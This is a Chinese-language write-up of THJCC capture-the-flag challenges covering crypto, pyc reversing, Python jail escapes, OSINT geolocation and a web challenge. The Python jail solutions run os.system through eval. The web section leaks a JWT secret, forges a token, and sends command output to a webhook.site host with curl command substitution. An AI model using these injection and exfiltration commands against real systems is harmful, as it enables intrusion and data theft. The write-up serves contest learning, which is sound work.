# THJCC CTF official writeup
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
> Author:堇姬Naup
Source Code : https://github.com/Naupjjin/THJCC-CTF-source-code
# Crypto
## JPG^PNG=?
### source
```python=
from itertools import cycle
def xor(a, b):
return [i^j for i, j in zip(a, cycle(b))]
KEY= open("key.png", "rb").read()
FLAG = open("flag.jpg", "rb").read()
key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]
enc = bytearray(xor(FLAG,key))
open('enc.txt', 'wb').write(enc)
```
他將png作為key跟一張.jpg前8位做xor運算
但我們知道png前8位是固定的所以就再做一次xor就可以了
[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
### solve
```python=
from PIL import Image
from itertools import cycle
def xor(a, b):
return bytes(i^j for i, j in zip(a, cycle(b)))
enc_data = open('enc.txt', 'rb').read()
key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
decrypted_data = xor(enc_data, key)
open('decrypted_image.png', 'wb').write(decrypted_data)
```

> THJCC{IM3_X52_a4dc133un_sta2t}
## 《SSS.GRIDMAN》
### source
```python=
import numpy
import random
import os
from FLAG import FLAG
poly_enc = []
def random_ploy():
poly=[]
for i in range(2):
poly.append(random.randint(99,999))
return poly
def random_x():
random_list=[i for i in range(100,999)]
x_list=[]
for i in range(3):
choice=random.choice(random_list)
x_list.append(choice)
random_list.remove(choice)
return x_list
def encrypt_secret(poly,x_list):
share_list=[]
for x in x_list:
share=(x,int(poly(x)))
share_list.append(share)
print('share:',share_list)
try:
WELCOME='''
________________ ________ _______ __ ______ _
/ __/ __/ __// ___/ _ \/ _/ _ \/ |/ / _ | / |/ /
_\ \_\ \_\ \_/ (_ / , _// // // / /|_/ / __ |/ /
/___/___/___(_)___/_/|_/___/____/_/ /_/_/ |_/_/|_/
'''
print(WELCOME)
print("I don't remember anything.But one day, I looks a word \"GRIDMAN\".\nI want to know what is \"GRIDMAN\"")
print("I find this computer.It may have secret about \"GRIDMAN\"")
secret=os.urandom(4)
secret=int.from_bytes(secret, byteorder='big')
polyc =random_ploy()
polyc.append(secret)
poly_enc = numpy.poly1d(polyc)
print("-"*20)
encrypt_secret(poly_enc,random_x())
print("Do you know PASSWORD?")
print("-"*20)
input_secret_num=int(input("PASSWORD? "))
if input_secret_num==secret:
print("This is SECRET")
print(FLAG)
else:
print("end...")
exit()
except:
print("error...")
exit()
```
他創建了一個二次函數($a,b$為隨機數字)
$ax^2+bx+secret$
再來他會隨機生成$x_1,x_2,x_3$並帶入二次函數並告訴你結果是多少,以及他輸入的是多少
$ax_1^2+bx_1+secret$
$ax_2^2+bx_2+secret$
$ax_3^2+bx_3+secret$
最後寫出來會是個三元一次方程式,並且有三條式子,所以我們就可以解聯立方程來找出secret
輸入正確的secret就可以拿到flag
### script
```python=
import numpy as np
coefficients = np.array([[252**2, 252, 1],
[632**2, 632, 1],
[974**2, 974, 1]]
)
constants = np.array([544642371, 617037691, 735282139])
solution = np.linalg.solve(coefficients, constants)
print("root:", solution)
```
> THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}
# Reverse
## PYC REVERSE
給你一個msg檔案跟.pyc,嘗試用線上工具逆.pyc
https://tool.lu/en_US/pyc/
```python=
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10
from FLAG import FLAG
from Crypto.Util.number import bytes_to_long
def xor1(flag):
return flag ^ 124789
def xor2(flag):
return flag ^ 487531
def xor3(flag):
return flag ^ 784523
def xor4(flag):
return flag ^ 642871
def xor5(flag):
return flag ^ 474745
flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
flag = xor1(flag)
count += 2
if count == 3:
flag = xor2(flag)
count += 1
if count == 4:
flag = xor3(flag)
count -= 2
else:
flag = xor2(flag)
count += 1
else:
flag = xor3(flag)
count += 5
if count == 2:
flag = xor4(flag)
elif count == 6:
flag = xor5(flag)
print(flag)
```
做了很多xor運算
因為xor兩次相同東西會消掉,所以就看他xor了甚麼再做一次就好了
### script
```python=
from Crypto.Util.number import long_to_bytes
def xor1(flag):
return flag ^ 124789
def xor2(flag):
return flag ^ 487531
def xor3(flag):
return flag ^ 784523
def xor4(flag):
return flag ^ 642871
def xor5(flag):
return flag ^ 474745
flag=10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
flag=xor1(xor2(xor3(xor4(flag))))
print(long_to_bytes(flag))
```
# Misc
## PyJail-0
### source
```python=
WELCOME='''
____ _ _ _
| _ \ _ _ | | __ _(_) |
| |_) | | | |_ | |/ _` | | |
| __/| |_| | |_| | (_| | | |
|_| \__, |\___/ \__,_|_|_|
|___/
'''
def main():
print("-"*30)
print(WELCOME)
print("-"*30)
print("Try to escape!!This is a jail")
a=input("> ")
eval(a)
if __name__ == '__main__':
main()
```
會把我們的輸入送到eval裡面
我們知道python裡面有很多magic function
可以用python的magic function
```
__import__('os').system('ls')
```
相當於
```python=
import os
os.system('ls ~')
```
最後在
```
__import__('os').system('cat flag.txt')
```
就可以cat flag了
> THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}
## PyJail-1
### source
```python=
WELCOME='''
____ _ _ _
| _ \ _ _ | | __ _(_) |
| |_) | | | |_ | |/ _` | | |
| __/| |_| | |_| | (_| | | |
|_| \__, |\___/ \__,_|_|_|
|___/
'''
def main():
try:
print("-"*30)
print(WELCOME)
print("-"*30)
print("Try to escape!!This is a jail")
print("I increased security!!!")
a=input("> ")
if len(a)<15:
eval(a)
else:
print("Don't escape!!")
except:
print("error")
exit()
if __name__ == '__main__':
main()
```
這次加上了長度限制15字
但其實很好繞
如果我輸入
```
eval(input())
```
他會先讓`eval(input())`被當程式碼執行,這樣子就跟第一題一樣了,因為你的input,會直接進到eval
```
__import__("os").system("ls")
__import__('os').system('cat flag.txt')
```
> THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}
## Geoguesser???
給了你一個twitter帳號連結
https://twitter.com/rrharil0302/status/1776462043761238290
他要你找出圖中的補習班經緯度
首先你觀察一下會發現上面有一組電話號碼

直接搜
0790632758
會找到這家補習班
https://ivry.jp/telsearch/0790632758/

去google map搜就可以找到經緯度了
```
兵庫県宍粟市山崎町鹿沢68−6
```

> THJCC{35.0039_134.5426}
## I want to go to Japan!
一樣是一個twitter帳號
https://twitter.com/rrharil0302/status/1782034885626188150
給了一張

嘗試去搜尋他找到
https://twitter.com/YUNOHAMA_hotel/status/1765316443543937478
找到這個溫泉後
搜`湯の浜ホテル 神社`
找到了https://onsen-musume.jp/news/7322
知道是倉湯神社
直接去wiki上找就找到經緯度了
> THJCC{41.782_140.791}
# Insane
## FFAM(Find Flag Automaticaliiy Machine)
首先進到頁面會看到一個頁面,他會報RAM不夠的問題,並且他有提示你,`If you want to use small shell, you can go to /webshell `

先去分析source code

去看 `server.py`
首先看到了關於session跟JWT相關的,session secret key非常大,顯然沒辦法偽造。
另外我們知道JWT的Secret Key存在`ASECRETKEY.txt`

設定了一個cookie,叫做`YourToKeNinShop`

這是一個處理買賣的route,你可以發現到這裡有一個商品較RAM需要驗證你的JWT,並且可以注意到,他可以輸入負數,來讓你的錢變多。

這裡表示了你需要拿到三個RAM讓你的RAM足夠才可以使用

還有兩個shell,一個可以直接打開,一個則要有三個RAM才可以使用


首先我們首要目標是買到三個RAM,所以我先去商店看看(`/ShopAboutComputerEquipment`)

確實有賣RAM,但有兩個問題
- 錢不夠
- 權限不夠(要繞過JWT驗證)
錢不夠可以用輸入負數,來增加錢

接下來要偽造JWT,但我要怎麼leak secret key
或許可以嘗試利用第一個shell
但他有一些限制,他過濾掉了很多字符以及限制你只能使用五個字

這裡你會發現有個方法,因為你的`ASECRETKEY.txt`,是文字檔,並且觀察一下他會是第一個檔案
所以你如果嘗試去執行他+通配符,就可以leak 內容
$0 -> /bin/sh
```
$0 *
```

```
asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei
```
再來就是偽造JWT了
```python=
import jwt
key=b'asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei'
data = {'id': 1, 'role': "Naup"}
token = jwt.encode(data, key, algorithm='HS256')
print(token)
```
JWT token
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw
```
就可以買到三個RAM了

接下來就可以連到

他一樣有很多的過濾,並會把你輸入的東西放到`cat <放到這裡>.txt`並執行(並且你不知道flag的檔名,所以要先ls)

這邊使用`curl`來把印出的東西送到`webhook`
```
$(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(ls)")
$(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(cat flag-asdq45a8we633a2df56aq.py)")
```


> THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}